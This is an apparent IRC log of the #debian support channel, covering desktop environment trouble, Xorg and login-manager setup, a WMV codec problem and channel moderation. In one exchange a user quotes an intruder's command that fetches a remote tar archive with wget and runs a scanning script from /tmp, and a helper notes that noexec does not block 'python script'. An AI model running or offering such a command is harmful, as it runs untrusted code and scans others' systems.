| 22:20.21 | *** join/#debian th0r (~steve@rrcs-98-101-210-6.midsouth.biz.rr.com) |
| 22:20.29 | *** join/#debian Kazen (~Kazen@541F86A1.cm-5-8c.dynamic.ziggo.nl) |
| 22:20.47 | *** part/#debian th0r (~steve@rrcs-98-101-210-6.midsouth.biz.rr.com) |
| 22:21.00 | *** mode/#debian [+l 1103] by debhelper |
| 22:21.17 | Eulenspiegel69 | sets channel limit to 9674 |
| 22:23.20 | *** join/#debian th0r (~steve@rrcs-98-101-210-6.midsouth.biz.rr.com) |
| 22:23.41 | *** join/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 22:23.52 | Vasistha | Eulenspiegel69: I think I want a DE |
| 22:24.41 | Vasistha | Eulenspiegel69: I was happy with kde3 + kdm but kde4 is just sucking. Maybe it's an issue with my video card driver, I don't know, but the mouse cursor flickers, and everything, everything, everything is SLOW to draw |
| 22:24.41 | Eulenspiegel69 | Vasistha: Have you got a fast computer with lots of resources or should it be more minimal? |
| 22:25.14 | Eulenspiegel69 | Vasistha: Have you checked on your driver? |
| 22:25.24 | Vasistha | Eulenspiegel69: I have 1.8 GHz with I dunno, 1 GB or 2 GB of ram, it was plenty for kde 3. My driver is tdfx |
| 22:25.28 | homie | the mous flicker is still in |
| 22:25.36 | homie | even with a faster chip |
| 22:26.06 | Eulenspiegel69 | Vasistha: I think it's a bit too slow for KDE4 anyway |
| 22:26.06 | sinisterstuf | Vasistha: that's not a single core processor is it? |
| 22:26.11 | homie | kde4 is not worth the eye glory |
| 22:26.11 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 22:26.18 | Vasistha | homie: yeah, I was noticing that in xfce, that's why I thought I would try another wm. unfortunately slim ... didn't start up nicely, and now is not responding to TERM signals sent via invoke-rc.d |
| 22:26.36 | Eulenspiegel69 | Vasistha: Have you tried xfce? |
| 22:26.56 | *** join/#debian s4a (~deniz@ip69-17-247-9.vif.net) |
| 22:27.06 | *** join/#debian ompaul (~ompaul@unaffiliated/ompaul) |
| 22:27.11 | Vasistha | Eulenspiegel69: 1.8 GHz is too slow for kde4? yeah, I'll pass on kde4 then. I'm trying xfce... trying to get it on the screen. by default the video card sends an out of range signal to the monitor and I get nothing. So I need to figure out how to get the right resolution sent on startup. |
| 22:27.25 | *** join/#debian format_c (~format_c@2001:4dd0:fc0c:0:6e62:6dff:fe4a:e47d) |
| 22:27.33 | mark76 | Blimey! SLiM works! =-O |
| 22:28.09 | Vasistha | uh ... slim is not responding to kill -1 |
| 22:28.23 | *** join/#debian caveat- (hoax@newshell1.bshellz.net) |
| 22:28.25 | Vasistha | it is not exactly gaining my confidence off the bat :( |
| 22:29.14 | deepa | Vasistha: can't you change the resolution in xorg's configuration? |
| 22:29.39 | mark76 | hopes he'll never need to use kill -1 |
| 22:30.02 | stranger635 | that's funny when you need powerful pc just to run desktop enviroment |
| 22:30.05 | *** join/#debian zenlunatic (~justin@c-68-48-40-231.hsd1.md.comcast.net) |
| 22:30.15 | *** join/#debian Ex-Opesa (~Ex-Opesa@2.49.193.74) |
| 22:30.43 | Ex-Opesa | Is HAL daemon still required on Squeeze? I am not sure why it is running, is it required for xfce? |
| 22:30.47 | Eulenspiegel69 | am I getting this straight? The awsome wm is not in the official repos? |
| 22:30.50 | Vasistha | deepa: well there is nothing there to change, maybe I have to construct the thing from scratch? I've read about other people putting that info elsewhere... I dunno. It's such a shame that the xorg people don't provide decent documentation to their stuff |
| 22:30.51 | *** join/#debian BWMerlin (~BW~Merlin@CPE-60-226-105-114.qld.bigpond.net.au) |
| 22:31.06 | deepa | Vasistha: man Xorg |
| 22:31.25 | Vasistha | deepa: I said "decent" |
| 22:31.39 | *** join/#debian sinisterstuf (~sion@PPK-BR02-41-182-125-26.ipb.na) |
| 22:32.20 | *** part/#debian davro (~davro@cpc2-ches2-0-0-cust888.9-1.cable.virginmedia.com) |
| 22:32.37 | deepa | Vasistha: I looked at the Xorg manual page. I immediately found the switch to generate the configuration file for you |
| 22:32.46 | deepa | Tip, it's not the one called -config, it's the other one |
| 22:33.04 | Vasistha | F this. I am rebooting my computer because "slim" would not stop itself properly. I think I need to try something else. |
| 22:33.22 | stranger635 | O_O |
| 22:33.30 | joe6 | anyone used gperf |
| 22:33.37 | *** join/#debian larsivi (~quassel@188.113.74.106) |
| 22:33.51 | joe6 | Vasistha: check out xmonad on gdm. |
| 22:34.06 | sinisterstuf | Vasistha: what went wrong with slim? |
| 22:34.57 | *** join/#debian vivid (~vivid@c-76-104-215-159.hsd1.wa.comcast.net) |
| 22:35.30 | stranger635 | wondering what went wrong with Vasistha :-( |
| 22:36.18 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 22:37.00 | themill | Pathin_: for as long as you are ircing with an ident of root you are unable to speak in this channel. |
| 22:37.33 | *** join/#debian infinity_ (~brendon@web2.artsopolis.com) |
| 22:37.59 | infinity_ | hey |
| 22:38.28 | sinisterstuf | stranger635: same, although to be honest I didn't have much success with SLiM when I tried it in Ubuntu or Xubuntu, it was really easy to set up with Slackware and ArchLinux though |
| 22:38.29 | dgeary2 | ectospasm, i ended up inserting 'modprobe isofs' before 'mount -t auto "$ISO_DEVICE" /isofrom' in /scripts/live in the initrd.img |
| 22:38.32 | *** join/#debian XLV (~XLV@unaffiliated/xlv) |
| 22:38.35 | *** join/#debian bkashaf (~db@unaffiliated/bkashaf) |
| 22:38.41 | Vasistha | sinisterstuf: I started slim. I got an "out of range" message on the monitor, so I don't see anything. I have to ctrl-alt-f1 back to a console login screen. I changed some settings and did invoke-rc.d slim stop. It didn't stop. pkill -2 slim. pkill -1 slim. It still doesn't stop running. I have to reboot the computer to kill the thing. |
| 22:41.04 | Vasistha | sinisterstuf: I'd be happy to try it again if somebody fixes it so that it responds to TERM signals. But I won't use kill -9, I won't do it... and I won't keep an application that requires it. |
| 22:41.26 | *** join/#debian davidisko1 (~davidisko@nat-88-212-37-51.antik.sk) |
| 22:41.44 | sinisterstuf | Vasistha: I'm not sure but I *think* out of range might be if the display manager is trying to set the display bigger than your screen |
| 22:41.53 | *** join/#debian Jindrak (~Jindrak@port48.ds1-bi.adsl.cybercity.dk) |
| 22:43.20 | Vasistha | sinisterstuf: yeah, that is most likely it. I have no idea why it would do such a thing, but since I installed squeeze, that seems to be the default behavior. |
| 22:43.37 | sinisterstuf | Vasistha: why not...? |
| 22:44.11 | *** part/#debian edgy (~quassel@188.248.113.44) |
| 22:44.59 | Vasistha | sinisterstuf: why not? uh, are you really asking me that? |
| 22:45.33 | Vasistha | anyway, I'll go back to my original question... gdm or gdm3? :P |
| 22:45.38 | Vasistha | for xfce |
| 22:46.19 | stranger635 | mighty startx |
| 22:46.38 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 22:47.17 | amphi | stranger635: heh |
| 22:47.27 | Vasistha | I'd like a graphical login... and in fact insecure auto-login, even |
| 22:47.45 | amphi | eeww |
| 22:49.21 | sinisterstuf | Vasistha: in that case could you putt startx in the startup scripts to log you in and start XFCE? |
| 22:49.22 | Vasistha | well, for some people -- like my Dad, here -- the key to his house is the best security, and nobody else uses his box. |
| 22:50.12 | Vasistha | sinisterstuf: hum, that is an interesting thought. I could put "su -c startx mark" into a startup script, eh? |
| 22:50.16 | mark76 | Where do I go to change the usplash screen? I can't remember |
| 22:50.18 | *** join/#debian alfa_y_omega (~alfa_y_om@90.166.231.220) |
| 22:50.51 | *** join/#debian uuid (~uuid@f053122170.adsl.alicedsl.de) |
| 22:51.07 | *** part/#debian uuid (~uuid@f053122170.adsl.alicedsl.de) |
| 22:52.35 | *** join/#debian dvs (~me@cwv.teksavvy.com) |
| 22:52.45 | Vasistha | deepa: well this is interesting. Xorg --configure doesn't seem to produce any mode lines at all. |
| 22:53.18 | sinisterstuf | Vasistha: I think so. That would probably be faster than waiting for a graphical login manager to load just to automatically log you in. |
| 22:53.44 | *** join/#debian saep (~saep@muedsl-82-207-230-195.citykom.de) |
| 22:54.02 | *** join/#debian zappal (~zappal@gateway/tor-sasl/zappal) |
| 22:54.22 | *** join/#debian sllide (~jari@ip565eb113.direct-adsl.nl) |
| 22:54.48 | Vasistha | sinisterstuf: well that's not a bad idea at all, I think I will try that. |
| 22:55.23 | stranger635 | thought to kms |
| 22:55.57 | *** join/#debian Soul_Eater (~marcelo@187.127.209.3) |
| 22:55.57 | *** join/#debian Soul_Eater (~marcelo@unaffiliated/soul-eater/x-4649632) |
| 22:56.08 | *** join/#debian Pathin_ (~root@77-22-92-82-dynip.superkabel.de) |
| 22:56.51 | *** join/#debian Tuxi (~quassel@dyndsl-085-016-193-128.ewe-ip-backbone.de) |
| 22:59.55 | *** join/#debian Gurty (~princess@APuteaux-651-1-24-235.w81-249.abo.wanadoo.fr) |
| 23:01.34 | *** join/#debian Wyzard (~mike@pool-173-69-165-188.bltmmd.fios.verizon.net) |
| 23:01.36 | *** join/#debian Naoy (~bilijean@biloubil.naoy.fr) |
| 23:03.27 | *** join/#debian a111 (~a111a111@2.97.85.165) |
| 23:04.30 | *** join/#debian Kazen (~Kazen@541F86A1.cm-5-8c.dynamic.ziggo.nl) |
| 23:05.12 | *** mode/#debian [+o themill] by ChanServ |
| 23:05.14 | *** mode/#debian [+b *!*@77-22-92-82-dynip.superkabel.de$##fix_your_connection] by themill |
| 23:05.16 | *** mode/#debian [-o themill] by themill |
| 23:05.17 | *** part/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 23:06.08 | Vasistha | oh no... where did the xfce panel go... how to get it back? |
| 23:06.27 | *** part/#debian joe6 (~joe6@c-76-20-251-41.hsd1.ga.comcast.net) |
| 23:06.38 | *** join/#debian JasonWoof (~JasonWoof@c-98-216-100-90.hsd1.ma.comcast.net) |
| 23:06.38 | *** join/#debian JasonWoof (~JasonWoof@fsf/member/herkamire) |
| 23:07.00 | *** join/#debian Cyanure (~Cyanure@212-198-160-108.rev.numericable.fr) |
| 23:07.33 | th0r | Vasistha: you can get it back usually by running xfce4-panel & |
| 23:08.03 | Vasistha | well that was great, thanks th0r |
| 23:08.36 | *** join/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 23:09.34 | *** join/#debian innociv (~innociv@user-0c6sf8m.cable.mindspring.com) |
| 23:10.36 | innociv | How do I check whether or not my /tmp directory is noexec? |
| 23:10.36 | *** join/#debian mcdroidlits (~mclits@ip70-179-32-227.sd.sd.cox.net) |
| 23:11.00 | *** mode/#debian [+l 1095] by debhelper |
| 23:11.05 | themill | innociv: "mount" |
| 23:11.49 | innociv | "tmpfs on /tmp type tmpfs (rw,noexec,nosuid)" looks right, yeah? |
| 23:12.03 | *** join/#debian dvgsvc (~vd@46.12.92.20.dsl.dyn.forthnet.gr) |
| 23:12.06 | innociv | but someone got "cd /tmp;wget http://vencomarine.com/pulla0.tar;tar -xf pulla0.tar;cd pulla;python svmap.py --randomscan& |
| 23:12.06 | innociv | " in there and executed... |
| 23:12.24 | *** join/#debian Darksmurf (~Daniel@adsl-99-62-180-64.dsl.okcyok.sbcglobal.net) |
| 23:13.13 | *** join/#debian ajikeshi__ (~ajikeshi@unaffiliated/ajikeshi) |
| 23:14.10 | innociv | ... Or was it not mounted until i typed mount? |
| 23:14.37 | *** join/#debian Otto__ (~Otto@cpe-24-210-25-11.columbus.res.rr.com) |
| 23:15.16 | *** join/#debian elevenpointfive (~thirtyeig@75.85.183.72) |
| 23:15.57 | themill | innociv: noexec only prevents "./svmap.py" it doesn't prevent "python svmap.py". |
| 23:18.38 | *** join/#debian rage7 (~rage@val59-5-88-172-75-180.fbx.proxad.net) |
| 23:19.02 | *** join/#debian sinisterstuf (~sion@PPK-BR02-41-182-125-26.ipb.na) |
| 23:20.02 | *** join/#debian asarch (~asarch@187.132.136.142) |
| 23:20.04 | *** join/#debian lolmatic (~kommander@port-92-200-72-122.dynamic.qsc.de) |
| 23:20.31 | *** join/#debian debsan (~debsan@190.245.74.16) |
| 23:23.08 | *** join/#debian wissem (~wissem@unaffiliated/wissem) |
| 23:24.06 | *** join/#debian Fudge (~BluFudge@220-253-133-149.TAS.netspace.net.au) |
| 23:25.28 | *** join/#debian mindrag (~mindrag@c-98-236-18-134.hsd1.pa.comcast.net) |
| 23:26.40 | *** join/#debian BondMan (~quassel@adsl-205.91.140.85.tellas.gr) |
| 23:26.45 | *** part/#debian mindrag (~mindrag@c-98-236-18-134.hsd1.pa.comcast.net) |
| 23:27.12 | *** join/#debian seven| (~seven@pool-108-35-199-32.nwrknj.fios.verizon.net) |
| 23:27.38 | seven| | Hi guys. |
| 23:27.53 | elevenpointfive | Hi. |
| 23:27.54 | seven| | Has anybody ran into the .wmv problem? |
| 23:28.03 | seven| | Where it only plays the sound. |
| 23:28.16 | seven| | I installed mplayer, the w64codecs and the lib. |
| 23:28.20 | seven| | <PROTECTED> |
| 23:28.27 | seven| | *and still only sound. |
| 23:28.32 | *** part/#debian Toidi (~FFForever@unaffiliated/ffforever) |
| 23:28.34 | elevenpointfive | Nope, unfortunately not. Have you tried playing the .wmv file in another video player like vlc? |
| 23:28.47 | *** join/#debian daniel-s (~daniel-s@r180-216-74-50.cpe.vividwireless.net.au) |
| 23:28.48 | zappal | seven|: did you try vlc with this file? |
| 23:28.49 | seven| | vlc won't even play it. |
| 23:29.09 | *** join/#debian arcangelus (~arcangelu@188.11.82.98) |
| 23:29.15 | seven| | No suitable decoder module: |
| 23:29.19 | seven| | Vlc says. |
| 23:29.23 | zappal | seven|: is the file corrupt? |
| 23:29.33 | seven| | No. |
| 23:29.55 | seven| | Totem, and mplayer only play the sound. |
| 23:30.24 | seven| | My bad Vlc gives the error but still plays the audio. |
| 23:30.29 | *** part/#debian sven^_ (~me@squint.a-oben.org) |
| 23:30.52 | *** join/#debian jmarsden (~jmarsden@unaffiliated/jmarsden) |
| 23:31.01 | zappal | seven|: could you upload this file somewhere |
| 23:31.56 | elevenpointfive | seven|: Have you tried fiddling with the video output to see if that's the problem? |
| 23:32.16 | *** join/#debian tomatto_ (~tomatto@114.51.broadband7.iol.cz) |
| 23:32.47 | *** join/#debian porsche911turbo (~special@5e0bcc55.bb.sky.com) |
| 23:32.48 | *** join/#debian porsche911turbo (~special@unaffiliated/chrisjw) |
| 23:32.49 | *** join/#debian cfchris6 (~nobody@unaffiliated/cfchris6) |
| 23:33.18 | seven| | zappal: http://www.megaupload.com/?d=OUECRUJ9 |
| 23:35.21 | *** join/#debian Fudge (~BluFudge@220.253-245-60.TAS.netspace.net.au) |
| 23:35.43 | zappal | seven|: ok mom |
| 23:36.09 | seven| | zappal: ? |
| 23:36.33 | seven| | Oh moment. Got it. |
| 23:36.42 | *** join/#debian melroy (4df97e95@gateway/web/freenode/ip.77.249.126.149) |
| 23:36.44 | *** part/#debian arcangelus (~arcangelu@188.11.82.98) |
| 23:36.50 | seven| | I was like, why is he calling me "mom" lol |
| 23:36.55 | BondMan | everytime i try to install anything i get the same error, can someone take a look at it? http://pastebin.com/etL9X0z6 |
| 23:37.06 | *** join/#debian apelgate (~apel@h-9-90.A328.priv.bahnhof.se) |
| 23:37.13 | themill | BondMan: please take it to #ubuntu |
| 23:37.23 | zappal | seven|: moment |
| 23:37.26 | BondMan | themill: man ubuntu sucks so much... |
| 23:37.30 | abrotman | then don't use it |
| 23:37.33 | *** part/#debian mark76 (~mark@cpc27-nfds13-2-0-cust178.8-2.cable.virginmedia.com) |
| 23:37.36 | seven| | Lol. |
| 23:37.41 | themill | BondMan: so install debian. #debian is for debian support. |
| 23:37.52 | BondMan | themill: is debian installation |
| 23:37.57 | BondMan | automatic like ubuntu/ |
| 23:37.58 | BondMan | ? |
| 23:37.59 | themill | no it's not. |
| 23:38.12 | BondMan | is it more gentoo-like or what? |
| 23:38.12 | themill | you have to think occasionally. |
| 23:38.42 | abrotman | !ig |
| 23:38.42 | BondMan | wonders "thought? whats that?" |
| 23:38.42 | dpkg | The Debian Installation Guide for Squeeze (6.0) can be found at http://www.debian.org/releases/squeeze/installmanual . See also <errata> <firmware images> <installer firmware> <release notes>. |
| 23:38.43 | themill | dpkg: tell BondMan about install guide |
| 23:38.47 | zappal | seven|: that's the message of my totem ---> Plugin video/x-asf-unknown-Decoder |
| 23:38.56 | *** join/#debian dedaf (~FFForever@unaffiliated/ffforever) |
| 23:39.02 | melroy | I'm installing mdadm, I want to setup RAID1 on 2 disk (which are NOT the boot disk or main OS). Should I choose 'all' or 'none' in configuring mdadm? |
| 23:39.56 | zappal | seven|: that's the message of my vlc VLC unterstützt das Audio- oder Videoformat "MSS2 |
| 23:40.17 | BondMan | has anyone tried debian gnu/hurd? |
| 23:40.24 | zappal | i have sound (voice) but no video |
| 23:40.34 | seven| | zappal: I got the same thing. |
| 23:40.47 | seven| | zappal: are you able to play other .wmv files? |
| 23:41.10 | zappal | seven|: yes, without problems |
| 23:41.26 | zappal | i am on gentoo linux |
| 23:41.57 | seven| | zappal: I'm on debian. |
| 23:42.03 | *** join/#debian glitch-mod (~glitch-mo@pool-71-190-229-9.nycmny.fios.verizon.net) |
| 23:42.08 | seven| | And I can't play any .wmv files. |
| 23:42.18 | *** join/#debian otibom (~otibom@212-198-224-45.rev.numericable.fr) |
| 23:43.05 | zappal | i can play *.wmv files. but yours i have only sound |
| 23:43.26 | zappal | seven|: do you have another *.wmv file? |
| 23:43.34 | seven| | zappal: yes, but same thign. |
| 23:43.36 | seven| | *thing. |
| 23:43.46 | seven| | I'm going to try it in a windows machine to see if the problem is the file. |
| 23:44.02 | zappal | could you upload, i will test it |
| 23:45.08 | *** part/#debian th0r (~steve@rrcs-98-101-210-6.midsouth.biz.rr.com) |
| 23:45.59 | *** join/#debian th0r (~steve@rrcs-98-101-210-6.midsouth.biz.rr.com) |
| 23:46.21 | zappal | seven|: http://forum.videolan.org/viewtopic.php?t=39675 |
| 23:47.42 | BondMan | shockrates@ErebusPC:~$ sudo depmod -a |
| 23:47.42 | BondMan | Bus error |
| 23:47.49 | BondMan | what is this about? |
| 23:48.21 | abrotman | BondMan: WRONG CHANNEL, please go to #ubuntu, last warning |
| 23:48.35 | BondMan | abrotman: its a general problem |
| 23:48.36 | BondMan | pfff |
| 23:48.51 | abrotman | then go ask a general channel, this isn't it |
| 23:48.53 | BondMan | why cant we all, just get along? |
| 23:49.04 | *** mode/#debian [+o abrotman] by ChanServ |
| 23:49.07 | *** mode/#debian [+b *!*@adsl-205.91.140.85.tellas.gr] by abrotman |
| 23:49.09 | *** mode/#debian [-o abrotman] by abrotman |
| 23:49.13 | dvs | get em Stacey! |
| 23:49.31 | abrotman | BondMan: Ubuntu is offtopic in this channel, please go to #ubuntu, if they can't help you, try another distro. This channel is for Debian support |
| 23:51.00 | *** mode/#debian [+l 1086] by debhelper |
| 23:51.05 | *** join/#debian crowd (~crowd@197.128.99.114) |
| 23:52.31 | seven| | zappal: thanks, nothing thou. |
| 23:52.35 | *** join/#debian yogurt2ungue (~yogurt2un@190.220.40.44) |
| 23:52.52 | seven| | I'm about to try it in a windows computer, I don't want to be going crazy over a bad file. |
| 23:56.23 | *** join/#debian extraclassic (~jetblackn@c-71-207-182-221.hsd1.al.comcast.net) |
| 23:56.26 | *** join/#debian finchen (~user@188-195-149-172-dynip.superkabel.de) |
| 23:56.59 | seven| | zappal: In windows it plays perfectly. |
| 23:57.42 | *** join/#debian Morphous_ (jan@f048161026.adsl.alicedsl.de) |
| 23:57.42 | *** join/#debian weedar (~vn@82.194.193.51) |
| 23:58.01 | zappal | seven|: ok, it's a real windows codec |
| 23:58.15 | *** part/#debian elevenpointfive (~thirtyeig@75.85.183.72) |
| 23:58.55 | *** mode/#debian [+o abrotman] by ChanServ |
| 23:58.59 | *** mode/#debian [-b *!*@adsl-205.91.140.85.tellas.gr] by abrotman |
| 23:59.02 | *** mode/#debian [-o abrotman] by abrotman |
